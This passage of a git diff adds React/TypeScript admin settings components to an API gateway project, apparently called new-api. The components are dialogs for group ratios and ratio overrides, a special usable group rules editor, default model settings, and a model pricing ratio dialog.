+            </Button>
+            {autoGroupsList.length > 0 && (
+              <div className='space-y-2'>
+                {autoGroupsList.map((group, index) => (
+                  <div
+                    key={index}
+                    className='flex items-center gap-2 rounded-md border p-3'
+                  >
+                    <GripVertical className='text-muted-foreground h-4 w-4' />
+                    <span className='flex-1 font-medium'>{group}</span>
+                    <div className='flex gap-1'>
+                      <Button
+                        variant='ghost'
+                        size='sm'
+                        disabled={index === 0}
+                        onClick={() => handleAutoGroupMove(index, 'up')}
+                      >
+                        ↑
+                      </Button>
+                      <Button
+                        variant='ghost'
+                        size='sm'
+                        disabled={index === autoGroupsList.length - 1}
+                        onClick={() => handleAutoGroupMove(index, 'down')}
+                      >
+                        ↓
+                      </Button>
+                      <Button
+                        variant='ghost'
+                        size='sm'
+                        onClick={() => handleAutoGroupDelete(index)}
+                      >
+                        <Trash2 className='h-4 w-4' />
+                      </Button>
+                    </div>
+                  </div>
+                ))}
+              </div>
+            )}
+          </div>
+        </CardContent>
+      </Card>
+
+      {/* Simple Group Dialog */}
+      <SimpleGroupDialog
+        open={simpleDialogOpen}
+        onOpenChange={setSimpleDialogOpen}
+        onSave={handleSimpleSave}
+        editData={simpleEditData}
+        type={simpleDialogType}
+      />
+
+      {/* Usable Group Dialog */}
+      <UsableGroupDialog
+        open={usableDialogOpen}
+        onOpenChange={setUsableDialogOpen}
+        onSave={handleUsableSave}
+        editData={usableEditData}
+      />
+
+      {/* Auto Group Dialog */}
+      <Dialog open={autoGroupDialogOpen} onOpenChange={setAutoGroupDialogOpen}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>{t('Add auto group')}</DialogTitle>
+            <DialogDescription>
+              {t('Add a group identifier to the auto assignment list.')}
+            </DialogDescription>
+          </DialogHeader>
+          <div className='space-y-4 py-4'>
+            <div className='space-y-2'>
+              <Label>{t('Group identifier')}</Label>
+              <Input
+                value={autoGroupInput}
+                onChange={(e) => setAutoGroupInput(e.target.value)}
+                placeholder={t('default')}
+              />
+            </div>
+          </div>
+          <DialogFooter>
+            <Button
+              variant='outline'
+              onClick={() => setAutoGroupDialogOpen(false)}
+            >
+              {t('Cancel')}
+            </Button>
+            <Button onClick={handleAutoGroupSave}>{t('Add')}</Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+
+      {/* User Group Dialog */}
+      <Dialog open={userGroupDialogOpen} onOpenChange={setUserGroupDialogOpen}>
+        <DialogContent>
+          <DialogHeader>
+            <DialogTitle>{t('Add user group')}</DialogTitle>
+            <DialogDescription>
+              {t('Create a new user group to configure ratio overrides for.')}
+            </DialogDescription>
+          </DialogHeader>
+          <div className='space-y-4 py-4'>
+            <div className='space-y-2'>
+              <Label>{t('User group name')}</Label>
+              <Input
+                value={userGroupInput}
+                onChange={(e) => setUserGroupInput(e.target.value)}
+                placeholder={t('vip')}
+              />
+            </div>
+          </div>
+          <DialogFooter>
+            <Button
+              variant='outline'
+              onClick={() => setUserGroupDialogOpen(false)}
+            >
+              {t('Cancel')}
+            </Button>
+            <Button onClick={handleUserGroupSave}>{t('Add')}</Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+
+      {/* Group Override Dialog */}
+      <GroupOverrideDialog
+        open={groupOverrideDialogOpen}
+        onOpenChange={setGroupOverrideDialogOpen}
+        onSave={handleOverrideSave}
+        editData={groupOverrideEditData}
+        userGroup={groupOverrideUserGroup}
+      />
+    </div>
+  )
+})
+
+// Simple Group Dialog Component
+type SimpleGroupDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (name: string, value: string) => void
+  editData: SimpleGroup | null
+  type: 'groupRatio' | 'topupGroupRatio' | null
+}
+
+function SimpleGroupDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+  type,
+}: SimpleGroupDialogProps) {
+  const { t } = useTranslation()
+  const [name, setName] = useState('')
+  const [value, setValue] = useState('')
+
+  const title = type === 'groupRatio' ? t('group ratio') : t('top-up ratio')
+
+  const handleSave = () => {
+    if (!name.trim() || !value.trim()) return
+    onSave(name.trim(), value.trim())
+    setName('')
+    setValue('')
+  }
+
+  return (
+    <Dialog
+      open={open}
+      onOpenChange={(open) => {
+        onOpenChange(open)
+        if (open && editData) {
+          setName(editData.name)
+          setValue(editData.value)
+        } else {
+          setName('')
+          setValue('')
+        }
+      }}
+    >
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>
+            {editData
+              ? t('Edit {{title}}', { title })
+              : t('Add {{title}}', { title })}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Configure the ratio for this group.')}
+          </DialogDescription>
+        </DialogHeader>
+        <div className='space-y-4 py-4'>
+          <div className='space-y-2'>
+            <Label>{t('Group name')}</Label>
+            <Input
+              value={name}
+              onChange={(e) => setName(e.target.value)}
+              placeholder={t('default')}
+              disabled={!!editData}
+            />
+          </div>
+          <div className='space-y-2'>
+            <Label>{t('Ratio')}</Label>
+            <Input
+              value={value}
+              onChange={(e) => {
+                const val = e.target.value
+                if (val === '' || !isNaN(parseFloat(val))) {
+                  setValue(val)
+                }
+              }}
+              placeholder='1.0'
+            />
+          </div>
+        </div>
+        <DialogFooter>
+          <Button variant='outline' onClick={() => onOpenChange(false)}>
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleSave}>
+            {editData ? t('Update') : t('Add')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+// Usable Group Dialog Component
+type UsableGroupDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (name: string, description: string) => void
+  editData: UsableGroup | null
+}
+
+function UsableGroupDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: UsableGroupDialogProps) {
+  const { t } = useTranslation()
+  const [name, setName] = useState('')
+  const [description, setDescription] = useState('')
+
+  const handleSave = () => {
+    if (!name.trim() || !description.trim()) return
+    onSave(name.trim(), description.trim())
+    setName('')
+    setDescription('')
+  }
+
+  return (
+    <Dialog
+      open={open}
+      onOpenChange={(open) => {
+        onOpenChange(open)
+        if (open && editData) {
+          setName(editData.name)
+          setDescription(editData.description)
+        } else {
+          setName('')
+          setDescription('')
+        }
+      }}
+    >
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>
+            {editData ? t('Edit selectable group') : t('Add selectable group')}
+          </DialogTitle>
+          <DialogDescription>
+            {t(
+              'Configure a group that users can select when creating API keys.'
+            )}
+          </DialogDescription>
+        </DialogHeader>
+        <div className='space-y-4 py-4'>
+          <div className='space-y-2'>
+            <Label>{t('Group name')}</Label>
+            <Input
+              value={name}
+              onChange={(e) => setName(e.target.value)}
+              placeholder={t('vip')}
+              disabled={!!editData}
+            />
+          </div>
+          <div className='space-y-2'>
+            <Label>{t('Description')}</Label>
+            <Input
+              value={description}
+              onChange={(e) => setDescription(e.target.value)}
+              placeholder={t('VIP users with premium access')}
+            />
+          </div>
+        </div>
+        <DialogFooter>
+          <Button variant='outline' onClick={() => onOpenChange(false)}>
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleSave}>
+            {editData ? t('Update') : t('Add')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
+
+// Group Override Dialog Component
+type GroupOverrideDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (targetGroup: string, ratio: number, oldTargetGroup?: string) => void
+  editData: GroupOverride | null
+  userGroup: string | null
+}
+
+function GroupOverrideDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+  userGroup,
+}: GroupOverrideDialogProps) {
+  const { t } = useTranslation()
+  const [targetGroup, setTargetGroup] = useState('')
+  const [ratio, setRatio] = useState('')
+
+  const handleSave = () => {
+    if (!targetGroup.trim() || !ratio.trim()) return
+    const parsedRatio = parseFloat(ratio)
+    if (isNaN(parsedRatio)) return
+
+    onSave(targetGroup.trim(), parsedRatio, editData?.targetGroup)
+    setTargetGroup('')
+    setRatio('')
+  }
+
+  return (
+    <Dialog
+      open={open}
+      onOpenChange={(open) => {
+        onOpenChange(open)
+        if (open && editData) {
+          setTargetGroup(editData.targetGroup)
+          setRatio(String(editData.ratio))
+        } else {
+          setTargetGroup('')
+          setRatio('')
+        }
+      }}
+    >
+      <DialogContent>
+        <DialogHeader>
+          <DialogTitle>
+            {editData ? t('Edit ratio override') : t('Add ratio override')}
+          </DialogTitle>
+          <DialogDescription>
+            {userGroup
+              ? t(
+                  'Configure a custom ratio for "{{userGroup}}" users when using a specific token group.',
+                  { userGroup }
+                )
+              : t(
+                  'Configure a custom ratio for when users use a specific token group.'
+                )}
+          </DialogDescription>
+        </DialogHeader>
+        <div className='space-y-4 py-4'>
+          <div className='space-y-2'>
+            <Label>{t('Target group')}</Label>
+            <Input
+              value={targetGroup}
+              onChange={(e) => setTargetGroup(e.target.value)}
+              placeholder={t('edit_this')}
+              disabled={!!editData}
+            />
+            <p className='text-muted-foreground text-xs'>
+              {t('The token group that will have a custom ratio')}
+            </p>
+          </div>
+          <div className='space-y-2'>
+            <Label>{t('Ratio')}</Label>
+            <Input
+              value={ratio}
+              onChange={(e) => {
+                const val = e.target.value
+                if (val === '' || !isNaN(parseFloat(val))) {
+                  setRatio(val)
+                }
+              }}
+              placeholder='0.9'
+            />
+            <p className='text-muted-foreground text-xs'>
+              {t('Multiplier applied when {{userGroup}} uses {{targetGroup}}', {
+                userGroup: userGroup || t('this user group'),
+                targetGroup: targetGroup || t('this token group'),
+              })}
+            </p>
+          </div>
+        </div>
+        <DialogFooter>
+          <Button variant='outline' onClick={() => onOpenChange(false)}>
+            {t('Cancel')}
+          </Button>
+          <Button onClick={handleSave}>
+            {editData ? t('Update') : t('Add')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/group-special-usable-editor.tsx b/new-api/web/default/src/features/system-settings/models/group-special-usable-editor.tsx
new file mode 100644
index 0000000..3cb45dd
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/group-special-usable-editor.tsx
@@ -0,0 +1,394 @@
+import { useCallback, useMemo, useState } from 'react'
+import { ChevronDown, ChevronUp, Plus, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+} from '@/components/ui/card'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import { Input } from '@/components/ui/input'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { StatusBadge } from '@/components/status-badge'
+
+const OP_ADD = 'add' as const
+const OP_REMOVE = 'remove' as const
+const OP_APPEND = 'append' as const
+
+type OpType = typeof OP_ADD | typeof OP_REMOVE | typeof OP_APPEND
+
+type Rule = {
+  _id: string
+  userGroup: string
+  op: OpType
+  targetGroup: string
+  description: string
+}
+
+let _idCounter = 0
+function uid() {
+  return `gsu_${++_idCounter}`
+}
+
+function parsePrefix(rawKey: string): { op: OpType; groupName: string } {
+  if (rawKey.startsWith('+:')) return { op: OP_ADD, groupName: rawKey.slice(2) }
+  if (rawKey.startsWith('-:'))
+    return { op: OP_REMOVE, groupName: rawKey.slice(2) }
+  return { op: OP_APPEND, groupName: rawKey }
+}
+
+function toRawKey(op: OpType, groupName: string): string {
+  if (op === OP_ADD) return `+:${groupName}`
+  if (op === OP_REMOVE) return `-:${groupName}`
+  return groupName
+}
+
+function safeParseJson(str: string): Record<string, Record<string, string>> {
+  if (!str || !str.trim()) return {}
+  try {
+    return JSON.parse(str) as Record<string, Record<string, string>>
+  } catch {
+    return {}
+  }
+}
+
+function flattenRules(nested: Record<string, Record<string, string>>): Rule[] {
+  const rules: Rule[] = []
+  for (const [userGroup, inner] of Object.entries(nested)) {
+    if (typeof inner !== 'object' || inner === null) continue
+    for (const [rawKey, desc] of Object.entries(inner)) {
+      const { op, groupName } = parsePrefix(rawKey)
+      rules.push({
+        _id: uid(),
+        userGroup,
+        op,
+        targetGroup: groupName,
+        description:
+          op === OP_REMOVE ? 'remove' : typeof desc === 'string' ? desc : '',
+      })
+    }
+  }
+  return rules
+}
+
+function nestRules(rules: Rule[]): Record<string, Record<string, string>> {
+  const result: Record<string, Record<string, string>> = {}
+  for (const { userGroup, op, targetGroup, description } of rules) {
+    if (!userGroup || !targetGroup) continue
+    if (!result[userGroup]) result[userGroup] = {}
+    result[userGroup][toRawKey(op, targetGroup)] = description
+  }
+  return result
+}
+
+function serializeRules(rules: Rule[]): string {
+  const nested = nestRules(rules)
+  return Object.keys(nested).length === 0
+    ? '{}'
+    : JSON.stringify(nested, null, 2)
+}
+
+const OP_BADGE_MAP: Record<
+  OpType,
+  { variant: 'info' | 'danger' | 'neutral'; label: string }
+> = {
+  [OP_ADD]: { variant: 'info', label: 'Add (+:)' },
+  [OP_REMOVE]: { variant: 'danger', label: 'Remove (-:)' },
+  [OP_APPEND]: { variant: 'neutral', label: 'Append' },
+}
+
+type GroupSpecialUsableRulesEditorProps = {
+  value: string
+  onChange: (value: string) => void
+}
+
+type GroupSectionProps = {
+  groupName: string
+  items: Rule[]
+  onUpdate: (id: string, field: keyof Rule, val: string) => void
+  onRemove: (id: string) => void
+  onAdd: (groupName: string) => void
+  onRemoveGroup: (groupName: string) => void
+}
+
+function GroupSection(props: GroupSectionProps) {
+  const { t } = useTranslation()
+  const [open, setOpen] = useState(false)
+
+  return (
+    <Collapsible open={open} onOpenChange={setOpen}>
+      <div className='rounded-lg border'>
+        <div className='flex items-center justify-between p-3'>
+          <div className='flex items-center gap-2'>
+            <CollapsibleTrigger asChild>
+              <Button variant='ghost' size='sm' className='h-6 w-6 p-0'>
+                {open ? (
+                  <ChevronUp className='h-4 w-4' />
+                ) : (
+                  <ChevronDown className='h-4 w-4' />
+                )}
+              </Button>
+            </CollapsibleTrigger>
+            <span className='font-semibold'>{props.groupName}</span>
+            <StatusBadge variant='neutral' copyable={false}>
+              {props.items.length} {t('rules')}
+            </StatusBadge>
+          </div>
+          <div className='flex items-center gap-1'>
+            <Button
+              variant='ghost'
+              size='sm'
+              className='h-7 w-7 p-0'
+              onClick={() => props.onAdd(props.groupName)}
+            >
+              <Plus className='h-4 w-4' />
+            </Button>
+            <Button
+              variant='ghost'
+              size='sm'
+              className='text-destructive h-7 w-7 p-0'
+              onClick={() => props.onRemoveGroup(props.groupName)}
+            >
+              <Trash2 className='h-4 w-4' />
+            </Button>
+          </div>
+        </div>
+        <CollapsibleContent>
+          <div className='space-y-2 border-t p-3'>
+            {props.items.map((rule) => (
+              <div key={rule._id} className='flex items-center gap-2'>
+                <Select
+                  value={rule.op}
+                  onValueChange={(v) => props.onUpdate(rule._id, 'op', v)}
+                >
+                  <SelectTrigger className='w-[130px]'>
+                    <SelectValue>
+                      <StatusBadge
+                        label={t(OP_BADGE_MAP[rule.op].label)}
+                        variant={OP_BADGE_MAP[rule.op].variant}
+                        copyable={false}
+                      />
+                    </SelectValue>
+                  </SelectTrigger>
+                  <SelectContent>
+                    <SelectItem value={OP_ADD}>
+                      <StatusBadge
+                        label={t(OP_BADGE_MAP[OP_ADD].label)}
+                        variant={OP_BADGE_MAP[OP_ADD].variant}
+                        copyable={false}
+                      />
+                    </SelectItem>
+                    <SelectItem value={OP_REMOVE}>
+                      <StatusBadge
+                        label={t(OP_BADGE_MAP[OP_REMOVE].label)}
+                        variant={OP_BADGE_MAP[OP_REMOVE].variant}
+                        copyable={false}
+                      />
+                    </SelectItem>
+                    <SelectItem value={OP_APPEND}>
+                      <StatusBadge
+                        label={t(OP_BADGE_MAP[OP_APPEND].label)}
+                        variant={OP_BADGE_MAP[OP_APPEND].variant}
+                        copyable={false}
+                      />
+                    </SelectItem>
+                  </SelectContent>
+                </Select>
+                <Input
+                  className='flex-1'
+                  value={rule.targetGroup}
+                  placeholder={t('Group name')}
+                  onChange={(e) =>
+                    props.onUpdate(rule._id, 'targetGroup', e.target.value)
+                  }
+                />
+                {rule.op !== OP_REMOVE ? (
+                  <Input
+                    className='flex-1'
+                    value={rule.description}
+                    placeholder={t('Description')}
+                    onChange={(e) =>
+                      props.onUpdate(rule._id, 'description', e.target.value)
+                    }
+                  />
+                ) : (
+                  <div className='text-muted-foreground flex-1 px-3 text-sm'>
+                    -
+                  </div>
+                )}
+                <Button
+                  variant='ghost'
+                  size='sm'
+                  className='text-destructive h-8 w-8 p-0'
+                  onClick={() => props.onRemove(rule._id)}
+                >
+                  <Trash2 className='h-4 w-4' />
+                </Button>
+              </div>
+            ))}
+          </div>
+        </CollapsibleContent>
+      </div>
+    </Collapsible>
+  )
+}
+
+export function GroupSpecialUsableRulesEditor(
+  props: GroupSpecialUsableRulesEditorProps
+) {
+  const { t } = useTranslation()
+  const [rules, setRules] = useState<Rule[]>(() =>
+    flattenRules(safeParseJson(props.value))
+  )
+  const [newGroupName, setNewGroupName] = useState('')
+
+  const { onChange } = props
+  const emitChange = useCallback(
+    (newRules: Rule[]) => {
+      setRules(newRules)
+      onChange(serializeRules(newRules))
+    },
+    [onChange]
+  )
+
+  const updateRule = useCallback(
+    (id: string, field: keyof Rule, val: string) => {
+      emitChange(
+        rules.map((r) => {
+          if (r._id !== id) return r
+          const updated = { ...r, [field]: val }
+          if (field === 'op' && val === OP_REMOVE)
+            updated.description = 'remove'
+          else if (field === 'op' && r.op === OP_REMOVE && val !== OP_REMOVE) {
+            if (updated.description === 'remove') updated.description = ''
+          }
+          return updated
+        })
+      )
+    },
+    [rules, emitChange]
+  )
+
+  const removeRule = useCallback(
+    (id: string) => emitChange(rules.filter((r) => r._id !== id)),
+    [rules, emitChange]
+  )
+
+  const removeGroup = useCallback(
+    (groupName: string) =>
+      emitChange(rules.filter((r) => r.userGroup !== groupName)),
+    [rules, emitChange]
+  )
+
+  const addRuleToGroup = useCallback(
+    (groupName: string) => {
+      emitChange([
+        ...rules,
+        {
+          _id: uid(),
+          userGroup: groupName,
+          op: OP_APPEND,
+          targetGroup: '',
+          description: '',
+        },
+      ])
+    },
+    [rules, emitChange]
+  )
+
+  const addNewGroup = useCallback(() => {
+    const name = newGroupName.trim()
+    if (!name) return
+    emitChange([
+      ...rules,
+      {
+        _id: uid(),
+        userGroup: name,
+        op: OP_APPEND,
+        targetGroup: '',
+        description: '',
+      },
+    ])
+    setNewGroupName('')
+  }, [rules, emitChange, newGroupName])
+
+  const grouped = useMemo(() => {
+    const map: Record<string, Rule[]> = {}
+    const order: string[] = []
+    for (const r of rules) {
+      if (!r.userGroup) continue
+      if (!map[r.userGroup]) {
+        map[r.userGroup] = []
+        order.push(r.userGroup)
+      }
+      map[r.userGroup].push(r)
+    }
+    return order.map((name) => ({ name, items: map[name] }))
+  }, [rules])
+
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle>{t('Special usable group rules')}</CardTitle>
+        <CardDescription>
+          {t(
+            'Define per-group rules to add, remove, or append selectable groups for specific user groups.'
+          )}
+        </CardDescription>
+      </CardHeader>
+      <CardContent>
+        <div className='space-y-3'>
+          {grouped.length === 0 ? (
+            <p className='text-muted-foreground py-4 text-center text-sm'>
+              {t('No rules yet. Add a group below to get started.')}
+            </p>
+          ) : (
+            grouped.map((group) => (
+              <GroupSection
+                key={group.name}
+                groupName={group.name}
+                items={group.items}
+                onUpdate={updateRule}
+                onRemove={removeRule}
+                onAdd={addRuleToGroup}
+                onRemoveGroup={removeGroup}
+              />
+            ))
+          )}
+
+          <div className='flex items-center justify-center gap-2 pt-2'>
+            <Input
+              className='w-[200px]'
+              value={newGroupName}
+              placeholder={t('User group name')}
+              onChange={(e) => setNewGroupName(e.target.value)}
+              onKeyDown={(e) => {
+                if (e.key === 'Enter') {
+                  e.preventDefault()
+                  addNewGroup()
+                }
+              }}
+            />
+            <Button variant='outline' size='sm' onClick={addNewGroup}>
+              <Plus className='mr-1 h-4 w-4' />
+              {t('Add group rules')}
+            </Button>
+          </div>
+        </div>
+      </CardContent>
+    </Card>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/index.tsx b/new-api/web/default/src/features/system-settings/models/index.tsx
new file mode 100644
index 0000000..a0e9a1c
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/index.tsx
@@ -0,0 +1,57 @@
+import { SettingsPage } from '../components/settings-page'
+import type { ModelSettings } from '../types'
+import {
+  MODELS_DEFAULT_SECTION,
+  getModelsSectionContent,
+} from './section-registry.tsx'
+
+const defaultModelSettings: ModelSettings = {
+  'global.pass_through_request_enabled': false,
+  'global.thinking_model_blacklist': '[]',
+  'global.chat_completions_to_responses_policy': '{}',
+  'general_setting.ping_interval_enabled': false,
+  'general_setting.ping_interval_seconds': 60,
+  'gemini.safety_settings': '',
+  'gemini.version_settings': '',
+  'gemini.supported_imagine_models': '',
+  'gemini.thinking_adapter_enabled': false,
+  'gemini.thinking_adapter_budget_tokens_percentage': 0.6,
+  'gemini.function_call_thought_signature_enabled': true,
+  'gemini.remove_function_response_id_enabled': true,
+  'claude.model_headers_settings': '',
+  'claude.default_max_tokens': '',
+  'claude.thinking_adapter_enabled': true,
+  'claude.thinking_adapter_budget_tokens_percentage': 0.8,
+  'grok.violation_deduction_enabled': true,
+  'grok.violation_deduction_amount': 0.05,
+  ModelPrice: '',
+  ModelRatio: '',
+  CacheRatio: '',
+  CreateCacheRatio: '',
+  CompletionRatio: '',
+  ImageRatio: '',
+  AudioRatio: '',
+  AudioCompletionRatio: '',
+  ExposeRatioEnabled: false,
+  'billing_setting.billing_mode': '{}',
+  'billing_setting.billing_expr': '{}',
+  'tool_price_setting.prices': '{}',
+  TopupGroupRatio: '',
+  GroupRatio: '',
+  UserUsableGroups: '',
+  GroupGroupRatio: '',
+  AutoGroups: '',
+  DefaultUseAutoGroup: false,
+  'group_ratio_setting.group_special_usable_group': '{}',
+}
+
+export function ModelSettings() {
+  return (
+    <SettingsPage
+      routePath='/_authenticated/system-settings/models/$section'
+      defaultSettings={defaultModelSettings}
+      defaultSection={MODELS_DEFAULT_SECTION}
+      getSectionContent={getModelsSectionContent}
+    />
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/models/model-ratio-dialog.tsx b/new-api/web/default/src/features/system-settings/models/model-ratio-dialog.tsx
new file mode 100644
index 0000000..1982731
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/models/model-ratio-dialog.tsx
@@ -0,0 +1,654 @@
+import { useEffect, useState } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { ChevronDown } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { RadioGroup, RadioGroupItem } from '@/components/ui/radio-group'
+import { TieredPricingEditor } from './tiered-pricing-editor'
+
+const createModelDialogSchema = (t: (key: string) => string) =>
+  z.object({
+    name: z.string().min(1, t('Model name is required')),
+    price: z.string().optional(),
+    ratio: z.string().optional(),
+    cacheRatio: z.string().optional(),
+    createCacheRatio: z.string().optional(),
+    completionRatio: z.string().optional(),
+    imageRatio: z.string().optional(),
+    audioRatio: z.string().optional(),
+    audioCompletionRatio: z.string().optional(),
+  })
+
+type ModelDialogFormValues = z.infer<ReturnType<typeof createModelDialogSchema>>
+
+type PricingMode = 'per-token' | 'per-request' | 'tiered_expr'
+type PricingSubMode = 'ratio' | 'price'
+
+export type ModelRatioData = {
+  name: string
+  price?: string
+  ratio?: string
+  cacheRatio?: string
+  createCacheRatio?: string
+  completionRatio?: string
+  imageRatio?: string
+  audioRatio?: string
+  audioCompletionRatio?: string
+  billingMode?: 'per-token' | 'per-request' | 'tiered_expr'
+  billingExpr?: string
+  requestRuleExpr?: string
+}
+
+type ModelRatioDialogProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  onSave: (data: ModelRatioData) => void
+  editData?: ModelRatioData | null
+}
+
+export function ModelRatioDialog({
+  open,
+  onOpenChange,
+  onSave,
+  editData,
+}: ModelRatioDialogProps) {
+  const { t } = useTranslation()
+  const [pricingMode, setPricingMode] = useState<PricingMode>('per-token')
+  const [pricingSubMode, setPricingSubMode] = useState<PricingSubMode>('ratio')
+  const [advancedOpen, setAdvancedOpen] = useState(false)
+  const [promptPrice, setPromptPrice] = useState('')
+  const [completionPrice, setCompletionPrice] = useState('')
+  const [billingExpr, setBillingExpr] = useState('')
+  const [requestRuleExpr, setRequestRuleExpr] = useState('')
+  const isEditMode = !!editData
+
+  const form = useForm<ModelDialogFormValues>({
+    resolver: zodResolver(createModelDialogSchema(t)),
+    defaultValues: {
+      name: '',
+      price: '',
+      ratio: '',
+      cacheRatio: '',
+      createCacheRatio: '',
+      completionRatio: '',
+      imageRatio: '',
+      audioRatio: '',
+      audioCompletionRatio: '',
+    },
+  })
+
+  useEffect(() => {
+    if (editData) {
+      form.reset(editData)
+      // eslint-disable-next-line react-hooks/set-state-in-effect
+      setBillingExpr(editData.billingExpr || '')
+      setRequestRuleExpr(editData.requestRuleExpr || '')
+
+      if (editData.billingMode === 'tiered_expr') {
+        setPricingMode('tiered_expr')
+      } else if (editData.price && editData.price !== '') {
+        setPricingMode('per-request')
+      } else {
+        setPricingMode('per-token')
+        if (editData.ratio) {
+          const tokenPrice = parseFloat(editData.ratio) * 2
+          setPromptPrice(tokenPrice.toString())
+          if (editData.completionRatio) {
+            const compPrice = tokenPrice * parseFloat(editData.completionRatio)
+            setCompletionPrice(compPrice.toString())
+          }
+        }
+      }
+    } else {
+      form.reset({
+        name: '',
+        price: '',
+        ratio: '',
+        cacheRatio: '',
+        createCacheRatio: '',
+        completionRatio: '',
+        imageRatio: '',
+        audioRatio: '',
+        audioCompletionRatio: '',
+      })
+      setPricingMode('per-token')
+      setPricingSubMode('ratio')
+      setPromptPrice('')
+      setCompletionPrice('')
+      setBillingExpr('')
+      setRequestRuleExpr('')
+      setAdvancedOpen(false)
+    }
+  }, [editData, form, open])
+
+  const handleSubmit = (values: ModelDialogFormValues) => {
+    // Always pass through every field. The visual editor decides what to
+    // persist based on `billingMode`, and tiered_expr models also keep the
+    // ratio/price values as fallback during multi-instance sync delays
+    // (the backend's ModelPriceHelper checks billing_mode first, so these
+    // fallbacks only kick in when billing_setting hasn't propagated yet).
+    const data: ModelRatioData = {
+      name: values.name,
+      billingMode: pricingMode,
+      price: values.price || '',
+      ratio: values.ratio || '',
+      cacheRatio: values.cacheRatio || '',
+      createCacheRatio: values.createCacheRatio || '',
+      completionRatio: values.completionRatio || '',
+      imageRatio: values.imageRatio || '',
+      audioRatio: values.audioRatio || '',
+      audioCompletionRatio: values.audioCompletionRatio || '',
+    }
+
+    if (pricingMode === 'tiered_expr') {
+      data.billingExpr = billingExpr
+      data.requestRuleExpr = requestRuleExpr
+    }
+
+    onSave(data)
+    form.reset()
+    onOpenChange(false)
+  }
+
+  const validateNumber = (value: string) => {
+    if (value === '') return true
+    return !isNaN(parseFloat(value))
+  }
+
+  const handlePromptPriceChange = (value: string) => {
+    setPromptPrice(value)
+    if (value && !isNaN(parseFloat(value))) {
+      const ratio = parseFloat(value) / 2
+      form.setValue('ratio', ratio.toString())
+    } else {
+      form.setValue('ratio', '')
+    }
+  }
+
+  const handleCompletionPriceChange = (value: string) => {
+    setCompletionPrice(value)
+    if (
+      value &&
+      !isNaN(parseFloat(value)) &&
+      promptPrice &&
+      !isNaN(parseFloat(promptPrice)) &&
+      parseFloat(promptPrice) > 0
+    ) {
+      const completionRatio = parseFloat(value) / parseFloat(promptPrice)
+      form.setValue('completionRatio', completionRatio.toString())
+    } else {
+      form.setValue('completionRatio', '')
+    }
+  }
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='max-h-[90vh] overflow-y-auto sm:max-w-[680px]'>
+        <DialogHeader>
+          <DialogTitle>
+            {isEditMode ? t('Edit model') : t('Add model')}
+          </DialogTitle>
+          <DialogDescription>
+            {t('Configure pricing ratios for a specific model.')}
+          </DialogDescription>
+        </DialogHeader>
+
+        <Form {...form}>
+          <form
+            onSubmit={form.handleSubmit(handleSubmit)}
+            className='space-y-6'
+            autoComplete='off'
+          >
+            <FormField
+              control={form.control}
+              name='name'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Model name')}</FormLabel>
+                  <FormControl>
+                    <Input
+                      placeholder={t('gpt-4')}
+                      {...field}
+                      disabled={isEditMode}
+                    />
+                  </FormControl>
+                  <FormDescription>
+                    {t('The exact model identifier as used in API requests.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <div className='space-y-4'>
+              <Label>{t('Pricing mode')}</Label>
+              <RadioGroup
+                value={pricingMode}
+                onValueChange={(value) => setPricingMode(value as PricingMode)}
+              >
+                <div className='flex items-center space-x-2'>
+                  <RadioGroupItem value='per-token' id='per-token' />
+                  <Label htmlFor='per-token' className='font-normal'>
+                    {t('Per-token (ratio based)')}
+                  </Label>
+                </div>
+                <div className='flex items-center space-x-2'>
+                  <RadioGroupItem value='per-request' id='per-request' />
+                  <Label htmlFor='per-request' className='font-normal'>
+                    {t('Per-request (fixed price)')}
+                  </Label>
+                </div>
+                <div className='flex items-center space-x-2'>
